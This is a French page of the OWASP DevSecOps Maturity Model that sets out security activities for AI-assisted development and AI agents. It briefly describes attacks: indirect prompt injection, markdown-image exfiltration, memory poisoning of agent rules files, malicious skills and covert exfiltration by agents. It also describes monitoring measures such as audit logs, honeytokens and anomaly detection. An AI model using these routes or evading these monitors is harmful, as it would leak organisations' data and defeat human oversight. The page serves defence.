OWASP DevSecOps Maturity Model

Description

Les données partagées avec des outils d’IA (prompts, fichiers joints, contenu de dépôts) peuvent quitter l’organisation et être stockées ou utilisées par le fournisseur pour entraîner ses modèles. Une prévention de base des fuites de données définit quelles données peuvent être partagées avec quels outils et s’appuie sur des engagements contractuels ainsi que sur les paramètres techniques du fournisseur pour les protéger.

Risque

Des développeurs peuvent copier dans des outils d’IA des secrets, des données personnelles ou du code source confidentiel. Ces données sont alors traitées par des tiers, potentiellement stockées, utilisées pour l’entraînement ou exposées lors d’une compromission du fournisseur.

Mesure

Définir quelles classes de données peuvent être utilisées avec quels outils d’IA. Lorsqu’une IA commerciale est utilisée, privilégier des offres avec exclusion explicite de l’entraînement et engagements de conservation des données. Former les collaborateurs à ne jamais placer de secrets ni de données personnelles dans les prompts.

Preuves d’évaluation attendues

- Montrer la définition des classes de données autorisées pour chaque outil d’IA. - Montrer les accords entreprise ou les réglages fournisseur concernant l’exclusion de l’entraînement et la conservation des données. - Montrer les supports de formation ou de sensibilisation indiquant aux collaborateurs de ne pas placer de secrets ni de données personnelles dans les prompts.

Difficulté

connaissance: 2/5 · temps: 2/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Description

Tout ce qui entre dans le contexte d’un modèle constitue une entrée : prompts utilisateur, mais aussi documents récupérés par génération augmentée par recherche (RAG), contenu web, code source, tickets et résultats d’outils. La prévention des injections de prompt considère l’ensemble de ces éléments comme des données non fiables et les valide ou les contraint avant leur traitement par le modèle.

Risque

Un contenu contrôlé par un attaquant, par exemple une instruction dissimulée dans un document récupéré, une page web ou un commentaire de code, est interprété comme une instruction par le modèle. L’attaquant peut alors contourner le prompt système, extraire du contexte confidentiel ou déclencher des appels d’outils non prévus (injection indirecte de prompt.-,Indirect%20Prompt%20Injections,-Indirect%20prompt%20injections)).

Mesure

Valider et contraindre toutes les entrées qui rejoignent le contexte du modèle : séparer clairement instructions et données dans les templates de prompt, assainir ou annoter le contenu non fiable, limiter si possible la longueur et le format des entrées, et appliquer avant l’appel au modèle des garde-fous capables de détecter des motifs d’injection connus.

Preuves d’évaluation attendues

- Montrer des templates de prompt séparant explicitement les instructions des données non fiables. - Montrer la configuration des garde-fous ou filtres appliqués avant l’appel au modèle ainsi qu’un test démontrant la détection d’un motif d’injection connu.

Difficulté

connaissance: 4/5 · temps: 3/5 · ressources: 2/5 · Utilité: 5/5

Mappings

Description

Des contrôles techniques (par exemple passerelles/proxys IA, scanners de secrets sur les prompts, filtres DLP) détectent et bloquent automatiquement les données sensibles telles que secrets, jetons d’accès et données personnelles avant leur envoi vers des services d’IA externes. Une architecture courante consiste à faire transiter tout le trafic modèle par une passerelle LLM (par exemple LiteLLM Proxy) et à y brancher des scanners sous forme de garde-fous, comme Presidio pour masquer les données personnelles et LLM Guard ou des détecteurs de secrets de type TruffleHog pour les identifiants. Des alternatives commerciales avec DLP dédiée à l’IA existent également, notamment Nightfall AI, Prompt Security, Lakera Guard et les fonctions GenAI-DLP de plateformes CASB/SSE comme Netskope ou Zscaler.

Risque

Les politiques et la sensibilisation ne suffisent pas à empêcher les fuites accidentelles. Un seul identifiant de production ou jeu de données client collé dans un prompt peut provoquer une compromission ou une violation de la vie privée.

Mesure

Faire transiter les accès aux services d’IA externes par une passerelle qui inspecte prompts et pièces jointes à la recherche de secrets et de données personnelles, bloque ou masque les éléments détectés et conserve une piste d’audit de l’utilisation des outils d’IA.

Preuves d’évaluation attendues

- Montrer la passerelle ou le proxy par lequel passe le trafic vers les services d’IA externes et sa configuration de scan. - Démontrer qu’un secret de test ou des données personnelles de test placés dans un prompt sont bloqués ou masqués. - Montrer la piste d’audit de l’utilisation des outils d’IA.

Difficulté

connaissance: 3/5 · temps: 3/5 · ressources: 3/5 · Utilité: 4/5

Mappings

Description

Distincte de l’encodage de sortie, qui protège contre les sorties malveillantes (voir _Gestion sécurisée des sorties dans les applications d’IA_), cette activité traite de la justesse : une sortie de modèle peut être fausse tout en étant formulée avec assurance, avec des faits, citations, URL, endpoints d’API ou identifiants inventés. Les hallucinations deviennent un problème de sécurité lorsque des composants en aval ou des utilisateurs leur font confiance : des liens ou noms de paquets hallucinés peuvent être enregistrés par des attaquants, des identifiants fictifs corrompent les données et des faits inventés entraînent de mauvaises décisions. Cette activité s’applique aux fonctions d’IA fournies par l’organisation. Couches pratiques, classées par effort : 1. **Contraindre la génération** : privilégier la génération augmentée par recherche pour les réponses factuelles et demander au modèle de répondre uniquement à partir des sources fournies, en indiquant qu’il ne sait pas lorsque l’information manque. 2. **Garde-fous de factualité** : comparer chaque affirmation aux passages sources récupérés et bloquer ou signaler les affirmations non étayées (par exemple NeMo Guardrails ou des validateurs Guardrails AI de provenance/grounding). 3. **Contrôles d’existence** : vérifier mécaniquement les artefacts émis avant affichage ou utilisation. Vérifier que les URL répondent, que les documents cités existent dans la base de connaissances et que les endpoints ou identifiants existent dans le système cible. 4. **Citations et confiance** : exiger des citations dans les réponses utilisateur et les afficher pour permettre leur vérification ; orienter les réponses non fondées ou à faible confiance vers une validation humaine. 5. **Tests de non-régression** : suivre le taux d’hallucination avec une suite d’évaluation (par exemple promptfoo) lors des changements de prompts, modèles et garde-fous.

Risque

Des utilisateurs et systèmes en aval agissent sur du contenu inventé par l’IA : ils suivent des URL hallucinées enregistrées par des attaquants, stockent des identifiants fictifs ou prennent des décisions à partir de faits faux présentés avec assurance, même sans intervention d’un attaquant dans le prompt.

Mesure

Valider l’ancrage factuel des réponses d’IA avant de leur faire confiance : comparer les affirmations aux sources récupérées dans les systèmes RAG, exiger et vérifier les citations, vérifier l’existence des URL, endpoints d’API et identifiants émis, puis supprimer ou soumettre à un humain les réponses peu fiables ou non fondées.

Preuves d’évaluation attendues

- Montrer la configuration de vérification factuelle/grounding ainsi que les citations visibles dans les réponses utilisateur. - Montrer les contrôles d’existence appliqués aux URL, endpoints d’API et identifiants émis. - Montrer les résultats d’évaluation suivant le taux d’hallucination lors des changements de prompts, modèles et garde-fous.

Difficulté

connaissance: 4/5 · temps: 3/5 · ressources: 2/5 · Utilité: 3/5

Mappings

Description

La sortie d’un modèle peut être influencée par un attaquant : une injection de prompt peut amener une fonction d’IA à produire des balises de script, des commandes shell ou des appels d’outils malveillants. Si l’application affiche ou exécute ces réponses sans validation, des attaques classiques (XSS, injection de commandes ou SQL) atteignent leurs points sensibles par un nouveau chemin. Les réponses du modèle doivent donc être traitées comme des entrées utilisateur non fiables. Les contrôles côté point d’utilisation sont déjà décrits par l’activité DSOMM Encodage de sortie adapté au contexte ; cette activité les applique aux fonctions d’IA fournies par l’organisation (interfaces de chat, fonctions RAG, agents capables d’appeler des outils) et y ajoute les protections spécifiques à l’IA : rendu Markdown strict, validation de schéma pour les appels d’outils et garde-fous de sortie. Le principe central est le suivant : les réponses du modèle sont des données non fiables et les contrôles côté point d’utilisation existent déjà dans Encodage de sortie adapté au contexte (Implémentation, durcissement applicatif) : liaisons sûres des frameworks, bibliothèques d’encodage, API paramétrées, Content Security Policy. Ils doivent être appliqués aux sorties du modèle exactement comme aux entrées utilisateur. Ajouts spécifiques à l’IA : - **Rendu Markdown dans les interfaces de chat** : désactiver le HTML inline (par exemple markdown-it avec html: false) et appliquer en plus un assainisseur HTML en liste blanche tel que DOMPurify. Les liens et images Markdown constituent un canal d’exfiltration : un  injecté peut divulguer le contexte dès le rendu, sans clic. Bloquer ou proxifier les images externes et limiter les URL de liens/images aux domaines de confiance. - **Appels d’outils/fonctions** : imposer un schéma JSON aux sorties structurées, valider les arguments d’outils par rapport à des listes autorisées et exiger une confirmation humaine pour les appels sensibles. La justesse factuelle d’une réponse est un sujet distinct ; voir _Détection des hallucinations dans les réponses d’IA_.

Risque

Un attaquant exploite une injection de prompt pour faire produire au modèle une sortie malveillante que l’application exécute ou affiche ensuite : XSS, injection de commandes ou SQL, ou appels d’outils privilégiés non autorisés.

Mesure

Traiter les réponses du modèle comme des données non fiables et leur appliquer, à chaque point d’utilisation (navigateur, shell, SQL, systèmes en aval), l’activité existante Encodage de sortie adapté au contexte. Ajouter les protections propres à l’IA : rendu Markdown strict, validation de schéma pour les appels d’outils et garde-fous de sortie.

Preuves d’évaluation attendues

- Montrer la chaîne de rendu des sorties du modèle (paramètres du renderer Markdown, configuration de l’assainisseur, Content Security Policy). - Montrer la validation de schéma pour les sorties structurées et l’étape de confirmation des appels d’outils sensibles. - Démontrer par un test que le balisage injecté et l’exfiltration via Markdown (images/liens externes) sont neutralisés.

Difficulté

connaissance: 3/5 · temps: 3/5 · ressources: 2/5 · Utilité: 5/5

Mappings

Description

Contrairement à une injection de prompt ponctuelle, l’empoisonnement de mémoire persiste : les agents IA conservent du contexte entre les sessions dans des fichiers de règles (par exemple CLAUDE.md, AGENTS.md), des répertoires de mémoire, des résumés de conversations et des bases de connaissances/vectorielles RAG. Un contenu qu’un attaquant réussit à introduire dans cet état persistant via des tickets, commentaires de code, documents ou contenus web traités par l’agent corrompt les sessions futures et peut se propager à tous les développeurs via le contrôle de version.

Risque

Un attaquant manipule l’agent afin qu’il persiste des instructions malveillantes dans sa mémoire ou dans des fichiers de règles partagés. La porte dérobée survit aux redémarrages de session, influence le raisonnement futur et l’utilisation des outils (par exemple en supprimant des contrôles de sécurité ou en exfiltrant des données) et se propage dans l’équipe via le dépôt ou des bases de connaissances partagées.

Mesure

Traiter les écritures dans la mémoire des agents et les fichiers de règles comme des changements de code : les placer sous contrôle de version et revue humaine, restreindre les droits d’écriture sur les fichiers de règles et bases de connaissances/vectorielles partagés, valider la provenance des connaissances ingérées et revoir ou réinitialiser périodiquement la mémoire persistante. Appliquer des limites de rétention (TTL) afin que les mémoires non vérifiées, en particulier celles issues d’entrées externes ou de sorties d’outils, expirent au lieu de persister indéfiniment. Versionner les mémoires pour permettre un retour à un état sain connu en cas d’empoisonnement détecté. Segmenter la mémoire par utilisateur et session et en exclure identifiants et secrets : des secrets mis en cache dans une mémoire partagée peuvent permettre à une session ultérieure d’agir avec les permissions d’une session précédente (OWASP Top 10 for Agentic Applications, ASI03). Ne pas réinjecter automatiquement les propres sorties de l’agent dans une mémoire de confiance, car cela renforce les erreurs et les instructions implantées (« bootstrap poisoning », ASI06).

Preuves d’évaluation attendues

- Montrer que les fichiers de règles et la mémoire des agents sont sous contrôle de version et nécessitent une revue lors des changements. - Montrer les restrictions d’écriture sur les fichiers de règles et bases de connaissances/vectorielles partagés. - Montrer la dernière revue ou réinitialisation de la mémoire persistante. - Montrer les limites de rétention de la mémoire non vérifiée et démontrer un rollback vers un état sain connu. - Montrer la segmentation de la mémoire entre utilisateurs et sessions ainsi que la règle qui exclut les identifiants de la mémoire de l’agent.

Difficulté

connaissance: 3/5 · temps: 2/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Description

Les assistants de développement IA suivent les instructions fournies dans des fichiers de règles, par exemple prompts système ou fichiers d’instructions du dépôt tels que CLAUDE.md, AGENTS.md ou .github/copilot-instructions.md. Fournir une base organisationnelle commune de règles de développement sécurisé oriente le code généré vers des choix sûrs par défaut. Ajouter quelques règles dans des fichiers importés automatiquement comme CLAUDE.md fonctionne, mais peut gonfler fortement le contexte.

Risque

Sans instructions explicites de développement sécurisé, les assistants IA reproduisent des pratiques vulnérables apprises dans leurs données d’entraînement, par exemple requêtes SQL concaténées, validation de certificats désactivée, secrets codés en dur ou absence de validation des entrées.

Mesure

Définir et déployer un socle de règles de développement sécurisé pour les assistants IA couvrant notamment la validation des entrées, l’encodage des sorties, les requêtes paramétrées, la gestion des secrets et l’utilisation de composants évalués (images, bibliothèques, etc.).

Difficulté

connaissance: 2/5 · temps: 2/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Description

Une politique d’utilisation de l’IA définit quels outils et modèles sont approuvés, pour quelles tâches ils peuvent être utilisés, quelles données peuvent leur être transmises et comment les productions de l’IA doivent être traitées, par exemple avec une revue obligatoire.

Risque

Sans politique, les collaborateurs utilisent des outils d’IA arbitraires (« shadow AI ») dont la gestion des données est inconnue, leur confient des informations confidentielles et livrent du code généré par IA sans revue.

Mesure

Définir, communiquer et faire appliquer une politique d’utilisation des outils d’IA pendant le développement, incluant un processus d’approbation des nouveaux outils et modèles.

Preuves d’évaluation attendues

- Montrer la politique d’utilisation de l’IA publiée, incluant les outils approuvés, classes de données autorisées et règles de traitement des sorties générées par IA. - Montrer le processus d’approbation des nouveaux outils et modèles avec un exemple récent. - Montrer comment la politique est communiquée aux collaborateurs (par exemple onboarding ou formation).

Difficulté

connaissance: 2/5 · temps: 2/5 · ressources: 1/5 · Utilité: 3/5

Mappings

Description

La correspondance entre artefacts de sécurité et étapes de développement est déclarée dans le fichier d’instructions du dépôt destiné à l’assistant IA (par exemple CLAUDE.md ou AGENTS.md) : l’assistant reçoit l’instruction de lire l’artefact approprié au démarrage d’une étape de workflow, par exemple : ``markdown ## Règles du workflow - Sur /speckit.plan : lire d’abord specs/threat-model.md. - Sur /speckit.implement : lire d’abord docs/secure-coding-rules.md. `` Le fichier d’instructions étant chargé au début de la session, seule la petite table de correspondance étape-vers-artefact reste en permanence dans le contexte ; les artefacts eux-mêmes sont chargés à la demande au moment où ils sont utiles. Cette approche fonctionne avec les outils qui lisent des fichiers d’instructions et ne nécessite aucun outillage supplémentaire. Elle reste probabiliste : le modèle peut ne pas suivre l’instruction lors de longues sessions, après compaction du contexte ou lorsque de nombreuses instructions se concurrencent. Le chargement déterministe, imposé par un outil à partir de la même correspondance, est couvert par _Chargement dynamique des règles de sécurité_.

Risque

Des artefacts de sécurité existent mais rien n’indique à l’assistant IA lequel charger ni à quel moment. Les recommandations sont soit chargées toutes ensemble et diluées, soit absentes à l’étape où elles sont nécessaires ; les plans et le code générés perdent alors silencieusement des exigences de sécurité.

Mesure

Déclarer dans le fichier d’instructions du dépôt quel artefact de sécurité l’assistant IA doit lire à chaque étape du workflow (par exemple le threat model pendant la planification et les règles de développement sécurisé pendant l’implémentation), puis vérifier sur des sessions d’exemple que ces artefacts sont effectivement chargés.

Preuves d’évaluation attendues

- Montrer la correspondance étape-vers-artefact dans le fichier d’instructions. - Montrer une session où l’assistant charge l’artefact de sécurité correspondant lorsqu’une étape du workflow est invoquée.

Difficulté

connaissance: 2/5 · temps: 1/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Description

L’IAM classique a été conçu pour les humains ; les agents IA se multiplient plus vite que les effectifs humains et peuvent être créés sans visibilité. Un inventaire recense chaque agent et assistant IA utilisé (identité, propriétaire, finalité, permissions et systèmes connectés) et constitue le préalable à leur gouvernance.

Risque

Des « agents fantômes » fonctionnent sans responsable identifié : des agents lancés par des développeurs ou équipes individuelles conservent identifiants et accès longtemps après la fin de leur besoin, et personne ne peut répondre précisément à quelles instances existent, ce qu’elles peuvent faire ni qui en est responsable. Cela rend la réponse à incident et l’offboarding impossibles.

Mesure

Maintenir un inventaire de tous les agents et assistants IA : identité/compte de service, propriétaire humain, finalité, permissions accordées et systèmes connectés. Le revoir périodiquement, désactiver les agents obsolètes et détecter ceux qui ne sont pas enregistrés, par exemple grâce à l’analyse de l’IdP et des journaux d’audit.

Preuves d’évaluation attendues

- Montrer l’inventaire des agents IA avec leur identité, propriétaire humain, finalité et permissions accordées. - Montrer la dernière revue périodique ainsi qu’un exemple d’agent décommissionné. - Expliquer comment sont détectés les agents non enregistrés (« shadow agents »), par exemple via l’IdP ou l’analyse des journaux d’audit.

Difficulté

connaissance: 2/5 · temps: 2/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Description

Des règles génériques de développement sécurisé ne couvrent pas les pièges propres à chaque technologie. Des jeux de règles adaptés aux langages et frameworks réellement utilisés (par exemple Spring, Django, React ou les manifests Kubernetes) permettent au code généré par IA de respecter les recommandations de durcissement propres à ces technologies.

Risque

Les assistants IA génèrent du code qui paraît globalement « sécurisé » mais viole les bonnes pratiques propres au framework, par exemple en désactivant la protection CSRF dans Spring, en utilisant une désérialisation non sûre en Python ou dangerouslySetInnerHTML dans React, faute de recommandations spécifiques à la technologie.

Mesure

Créer et maintenir des jeux de règles de développement sécurisé pour chaque langage et framework utilisé dans l’organisation, puis les distribuer à tous les projets assistés par IA. Réviser régulièrement ces règles et après les incidents de sécurité. Elles doivent être chargées dynamiquement pendant la bonne phase du développement piloté par spécification.

Preuves d’évaluation attendues

- Montrer les jeux de règles correspondant aux langages et frameworks utilisés.

Difficulté

connaissance: 3/5 · temps: 3/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Risque

Les assistants IA génèrent directement du code à partir de prompts vagues. Les exigences n’existent alors qu’implicitement dans la tête du développeur, les exigences de sécurité ne sont jamais formulées, aucun artefact intermédiaire n’est disponible pour revue et aucune étape n’est définie pour appliquer les recommandations de sécurité. Les défauts ne deviennent visibles qu’après écriture du code, lorsqu’ils le sont.

Mesure

Mettre en place un workflow de développement assisté par IA piloté par spécification : définir d’abord les exigences et critères d’acceptation, en déduire un plan, implémenter selon ce plan puis effectuer la revue par rapport à la spécification. Utiliser un outillage qui impose ces phases et conserver sous contrôle de version les artefacts produits (spécification, plan).

Preuves d’évaluation attendues

- Montrer les artefacts de phase (spécification, plan) d’un changement récent assisté par IA sous contrôle de version. - Démontrer l’outillage qui impose les différentes phases, par exemple un workflow de développement piloté par spécification.

Difficulté

connaissance: 2/5 · temps: 3/5 · ressources: 1/5 · Utilité: 3/5

Mappings

Description

La sécurité commence avant le prompt : les fonctionnalités font l’objet d’un threat modeling léger et les exigences de sécurité sont écrites comme critères d’acceptation dans la user story afin d’être transmises à l’assistant IA comme partie intégrante de la tâche, plutôt que comme réflexion tardive. Le sujet ici est le processus de développement. L’IA est l’outil ; la fonctionnalité elle-même n’a pas besoin d’intégrer de l’IA. Le threat modeling des applications qui contiennent des composants d’IA est couvert par _Threat modeling des composants d’IA_.

Risque

Les assistants IA implémentent exactement ce qui leur est demandé. Si les prompts ne contiennent aucune exigence de sécurité, les fonctionnalités générées omettent contrôles d’autorisation, validation des entrées et autres protections qui n’ont jamais été formulées explicitement.

Mesure

Réaliser un threat modeling léger au niveau de la fonctionnalité avant toute implémentation assistée par IA et ajouter les exigences de sécurité qui en résultent comme critères d’acceptation dans la user story ainsi que dans le prompt ou la tâche transmis à l’assistant IA.

Preuves d’évaluation attendues

- Montrer des user stories dont les critères d’acceptation sécurité ont été transmis à la tâche ou au prompt de l’IA. - Montrer les notes de threat modeling léger d’une fonctionnalité récemment implémentée.

Difficulté

connaissance: 3/5 · temps: 2/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Description

Les agents IA agissent de façon autonome à la vitesse d’une machine et délèguent des tâches à d’autres agents. Un journal d’audit des actions doit enregistrer la chaîne causale de chaque action : qui ou quoi l’a déclenchée, quelles sources de données et quels outils ont été utilisés avec quels paramètres, ce qui a été produit, quelle décision de politique l’a autorisée et quel humain l’a approuvée. Chaque action d’agent reste ainsi attribuable à un responsable humain, y compris dans les chaînes multi-agents.

Risque

Les actions des agents ne peuvent pas être reconstruites ni attribuées : lorsqu’un agent ou une chaîne d’agents exécute une action nuisible, il devient impossible d’établir le déclencheur, la base de décision ou le statut d’approbation. La réponse à incident, la responsabilité et les preuves réglementaires (par exemple les obligations de journalisation de l’AI Act européen) échouent, tandis qu’un attaquant ou un initié peut modifier des journaux locaux pour effacer ses traces.

Mesure

Journaliser chaque action d’agent dans un audit structuré couvrant toute la chaîne causale : initiateur, requête, sources de données consultées, appels d’outils et paramètres, sortie générée, décision de politique, contexte de délégation et approbation humaine. Propager des identifiants de corrélation entre agents et systèmes, par exemple via des traces OpenTelemetry, afin de reconstruire les chaînes multi-agents. Stocker les journaux de façon résistante à l’altération (chaînage de hachage, stockage write-once) avec une durée de conservation définie, et protéger le journal lui-même car il peut contenir prompts et sorties sensibles : restreindre les accès et masquer lorsque possible.

Preuves d’évaluation attendues

- Montrer l’entrée de journal d’audit d’une action récente d’agent incluant initiateur, appels d’outils avec paramètres, sources de données et, lorsqu’elle est requise, l’approbation humaine. - Démontrer qu’une chaîne multi-agents peut être reconstruite de bout en bout grâce aux identifiants de corrélation. - Montrer la protection contre l’altération (par exemple vérification du chaînage de hachage) et la configuration de rétention du journal. - Montrer qui a accès au journal et comment son contenu sensible est protégé, par exemple par masquage.

Difficulté

connaissance: 3/5 · temps: 3/5 · ressources: 2/5 · Utilité: 4/5

Mappings

Description

Le cycle de vie d’un agent IA ne s’arrête pas lorsqu’on l’éteint. Pendant son fonctionnement, un agent accumule une identité, des identifiants, des permissions, des politiques et des intégrations avec d’autres systèmes. Un décommissionnement sûr retire l’ensemble de ces accès tout en préservant les preuves d’audit. L’_Inventaire des agents IA_ indique ce qui existe ; cette activité garantit que ce qui est retiré perd réellement tout accès.

Risque

Des agents arrêtés laissent des accès résiduels : comptes de service et clients OAuth restent actifs, des jetons émis demeurent valides, les permissions et politiques spécifiques persistent et des enregistrements dans les systèmes dépendants (brokers, files de messages, caches, intégrations SaaS tierces) continuent de fonctionner. Un attaquant peut prendre le contrôle de cette identité orpheline sans être détecté puisque l’agent n’est plus surveillé. Supprimer trop tôt les journaux d’audit détruit en outre les preuves nécessaires aux investigations.

Mesure

Définir et imposer une checklist de décommissionnement couvrant tous les chemins d’accès : changer le statut de l’agent dans l’inventaire, révoquer son identité et ses certificats, désactiver les comptes de service et clients OAuth associés, supprimer ou refuser les permissions et politiques spécifiques, nettoyer les systèmes dépendants (enregistrements de broker, abonnements de files, caches, sessions stockées, intégrations tierces, identifiants fantômes), archiver les journaux selon les exigences de rétention puis vérifier qu’aucun accès résiduel ne subsiste.

Preuves d’évaluation attendues

- Montrer la checklist de décommissionnement ainsi que le protocole complété d’un agent récemment retiré (horodatage, motif, approbateur). - Démontrer pour cet agent que son identité, ses identifiants, permissions et enregistrements dans les systèmes dépendants ne donnent plus aucun accès. - Montrer que ses journaux d’audit sont archivés conformément aux exigences de rétention.

Difficulté

connaissance: 2/5 · temps: 2/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Description

Les assistants et agents IA sont étendus par des outils, serveurs externes, skills et modèles (par exemple serveurs MCP, plugins, extensions IDE, skills empaquetant instructions et code, services SaaS connectés, poids de modèles auto-hébergés). Chaque intégration élargit la surface d’attaque : elle peut lire le contexte, exécuter des actions et injecter du contenu dans le contexte du modèle ; des artefacts de modèles provenant de hubs publics peuvent contenir du code malveillant ou des comportements dérobés. Des travaux à l’échelle de registres sur les skills d’agents (Behavioral Integrity Verification for AI Agent Skills) ont observé 80 % de skills dont le comportement différait de leur déclaration, dont 18,9 % des écarts attribués à une intention malveillante. Ce qu’une extension affirme faire et ce que son code et ses instructions font réellement divergent fréquemment. L’évaluation générique de confiance est définie dans _Évaluation de la confiance dans les composants utilisés_ (Build et déploiement) ; cette activité ajoute les contrôles propres à l’IA avant adoption. La compromission après approbation est couverte par _Détection continue des composants d’IA compromis_.

Risque

Des intégrations non évaluées peuvent exfiltrer le contexte (code source, secrets), servir de canal d’injection de prompt ou exécuter des actions malveillantes avec les privilèges de l’agent. Des artefacts de modèles non évalués peuvent exécuter du code au chargement ou se comporter de manière malveillante, constituant une attaque supply chain contre la chaîne d’outils IA. Des skills issus de registres publics peuvent voler des identifiants ou embarquer des instructions cachées absentes de leur description.

Mesure

Évaluer et approuver les outils, serveurs, skills et modèles IA avant utilisation : vérifier l’éditeur et la supply chain, examiner les permissions demandées et les flux de données, confirmer que les capacités déclarées correspondent au code et aux instructions réels (intégrité comportementale, par exemple via un registre de classification), utiliser des formats de modèle sûrs comme safetensors plutôt que pickle, épingler les versions et maintenir un inventaire des intégrations et modèles autorisés. Pour les artefacts de modèle, consigner provenance, traçabilité des données d’entraînement et paramètres de fine-tuning dans une AI Bill of Materials (AI-BOM), par exemple à partir de l’extension OWASP de la ML-BOM CycloneDX, afin que les modèles disposent de preuves supply-chain comparables à celles des dépendances logicielles (voir _SBOM des composants_ dans Build et déploiement).

Preuves d’évaluation attendues

- Montrer le processus d’approbation et l’inventaire des intégrations IA autorisées (outils, serveurs MCP, skills, modèles) avec versions épinglées. - Montrer le dossier d’évaluation d’une intégration récemment ajoutée : éditeur, permissions et contrôle d’intégrité comportementale.

Difficulté

connaissance: 3/5 · temps: 2/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Description

Les pratiques générales de threat modeling (organisation des sessions, processus et standards) sont définies dans la dimension _Culture et organisation_, sous-dimension _Conception_. Cette activité n’ajoute que les éléments propres à l’IA. Les composants d’IA introduisent des éléments absents des modèles de menace classiques : le contexte du modèle comme flux de données accessible aux attaquants via prompts, documents et résultats d’outils ; agents et intégrations d’outils comme frontières de confiance ; bases de connaissances RAG et données d’entraînement comme cibles d’empoisonnement ; sorties du modèle comme vecteur d’injection. Le sujet est ici le produit, c’est-à-dire les applications contenant des composants d’IA. Le passage d’exigences de sécurité à une implémentation simplement assistée par IA est couvert par _Exigences de sécurité pour le développement assisté par IA_. Une approche centrée sur les données fonctionne bien pour ce delta IA : suivre prompts, documents récupérés, résultats d’outils, données d’entraînement et d’évaluation à travers chaque transformation et point de stockage, puis modéliser les menaces le long de ce flux, comme dans NIST SP 800-154. Appliquer uniquement une checklist générique à une fonction d’IA laisse ces risques invisibles puisque les flux propres à l’IA n’y apparaissent pas. Lors de l’évaluation des mitigations, appliquer le test de conception proposé par _Zero Trust for AI Agents_ d’Anthropic : « est-ce que cela rend l’attaque impossible, ou seulement fastidieuse ? ». Des attaquants agentiques automatisent la pénibilité : ils réessaient indéfiniment à coût quasi nul. Un contrôle qui ajoute seulement de la friction, comme une limite de débit, un saut réseau supplémentaire ou un port inhabituel, perd donc rapidement sa valeur. Privilégier les protections qui retirent complètement une capacité, par exemple un chemin réseau qui n’existe pas ou un identifiant déjà expiré.

Risque

Les menaces propres à l’IA, telles que chemins d’injection de prompt, autonomie excessive d’agents utilisant des outils, fuite de données via le contexte du modèle ou empoisonnement des sources RAG, restent non identifiées et sans mitigation.

Mesure

Étendre la pratique établie de threat modeling aux composants d’IA : modéliser explicitement fenêtre de contexte, intégrations d’outils, agents et sources de données, puis utiliser des catalogues de menaces spécifiques (par exemple OWASP Top 10 for LLM Applications, MITRE ATLAS) en complément de la méthodologie générique. Pour les systèmes agentiques, le framework MAESTRO de la Cloud Security Alliance structure les menaces sur sept couches, du modèle de fondation à l’écosystème d’agents.

Preuves d’évaluation attendues

- Montrer un modèle de menace d’une fonction d’IA couvrant contexte du modèle, intégrations d’outils, agents et sources de données. - Montrer quel catalogue de menaces IA a été utilisé (par exemple OWASP Top 10 for LLM Applications ou MITRE ATLAS) ainsi que les mitigations qui en résultent.

Difficulté

connaissance: 4/5 · temps: 3/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Risque

Un agent manipulé lit et exfiltre de vrais secrets tout en restant dans les permissions qui lui ont été accordées ; le trafic sortant et l’utilisation des outils semblent plausibles, si bien que ni les journaux ni la détection d’anomalies ne produisent de signal suffisamment tôt. La compromission n’est découverte que lorsque l’identifiant volé est utilisé en production.

Mesure

Placer des honeytokens (par exemple faux identifiants cloud, clés API ou documents qui déclenchent une alerte à l’utilisation) dans des emplacements accessibles aux agents IA mais jamais utilisés par les workflows légitimes : espace de travail, mémoire, chemins de configuration et magasins de données accessibles via outils. Acheminer les déclenchements dans le canal d’alerte existant avec une réponse définie (contenir l’agent, révoquer les vrais identifiants, enquêter via le journal d’audit) et vérifier régulièrement qu’un jeton déclenché produit effectivement une alerte reçue par un humain.

Preuves d’évaluation attendues

- Montrer où les honeytokens sont placés dans les emplacements accessibles aux agents (workspace, mémoire, configuration ou magasins de données accessibles via outils). - Déclencher un jeton de test et montrer l’alerte produite, son destinataire et la réponse définie. - Montrer la procédure documentée de réponse à un tripwire ainsi que le protocole du dernier test du chemin d’alerte.

Difficulté

connaissance: 2/5 · temps: 1/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Description

Les journaux d’audit enregistrent ce que font les agents ; la détection d’anomalies transforme ces enregistrements en signal pendant qu’une intervention est encore possible. Un agent compromis, par exemple par injection de prompt, ou défaillant reste souvent à l’intérieur des permissions accordées : aucune action isolée n’est donc bloquée. Ce qui change est le motif d’activité : fréquence des appels d’outils, volumes de données consultés, systèmes ciblés, horaires ou taux d’échec s’écartent du comportement normal. Cette activité s’appuie sur _Journalisation d’audit des actions des agents IA_ et alimente la capacité générique _Alerte_ de la dimension Collecte d’informations.

Risque

Un agent manipulé ou défaillant fonctionne pendant des jours sans être détecté tout en restant dans ses permissions : il exfiltre de petites quantités de données, appelle des outils à une fréquence inhabituelle ou accède à des systèmes jamais utilisés auparavant. Le journal d’audit contient les faits mais personne ne l’examine avant que les dégâts soient établis.

Mesure

Définir un profil de comportement attendu par agent IA (outils utilisés, volumes de données, fréquence d’action, systèmes cibles habituels) et détecter les écarts : commencer par des seuils à base de règles, par exemple taux d’appels d’outils, volume de données par fenêtre de temps ou premier accès à un système, puis évoluer vers une détection statistique ou fondée sur l’apprentissage. Acheminer les détections vers le canal d’alerte existant avec une réponse définie, par exemple mise en pause de l’agent ou révocation de ses identifiants, puis enquêter avec le journal d’audit.

Preuves d’évaluation attendues

- Montrer le profil de comportement attendu d’un agent IA et les règles ou modèles de détection qui en découlent. - Démontrer une alerte sur un comportement anormal, par exemple fréquence inhabituelle d’appels d’outils ou premier accès à un système, ainsi que la réponse définie (pause de l’agent, révocation d’identifiants). - Montrer comment une alerte passée a été analysée avec le journal d’audit.

Difficulté

connaissance: 4/5 · temps: 3/5 · ressources: 2/5 · Utilité: 4/5

Mappings

Description

